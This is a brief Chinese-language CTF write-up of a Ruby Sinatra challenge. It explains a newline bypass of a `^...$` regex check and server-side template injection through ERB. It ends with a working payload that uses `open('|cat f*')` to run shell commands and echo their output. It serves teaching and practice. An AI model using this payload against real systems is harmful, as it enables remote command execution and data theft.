漏洞查询
分析题目源码:
1 | class NeonControllers < Sinatra::Base |
发现题目是ruby语言写的后端。进行代码审计发现if params[:neon] =~ /^[0-9a-z ]+$/i
发现存在换行绕过。
于是neon=1111%0axxxxj!<>
绕过正则限制.
然后,一下找不到什么利用点了,但是百度下ERB发现是Embedded RuBy的简称,意思是嵌入式的Ruby,是一种文本模板技术.语法为:
1 | <% %> |
其中提到一个例子:
1 | sqlTemplate = ERB.new %q{ |
因此猜测在ERB.new(params[:neon]).result(binding)
处用ssti.
漏洞利用
我们可以通过<% %>
来执行代码,但是我们看不到回显。下面例子可以看到程序因为找不到xxx而报错。说明我们的代码被执行了。
但是传统的system,exec都无法直接回显。都要通过vps反弹shell。
通过收集资料发现:
1 | file = '|whoami' |
open可以回显出命令执行结果。
因此我们构造payload即可得到flag
neon=1111%0axxxxj!</h1><%25=open('|cat f*').read()%25><h1>
参考文献
https://www.cnblogs.com/cuimiemie/p/6442695.html
https://droidyue.com/blog/2014/11/18/six-ways-to-run-shell-in-ruby/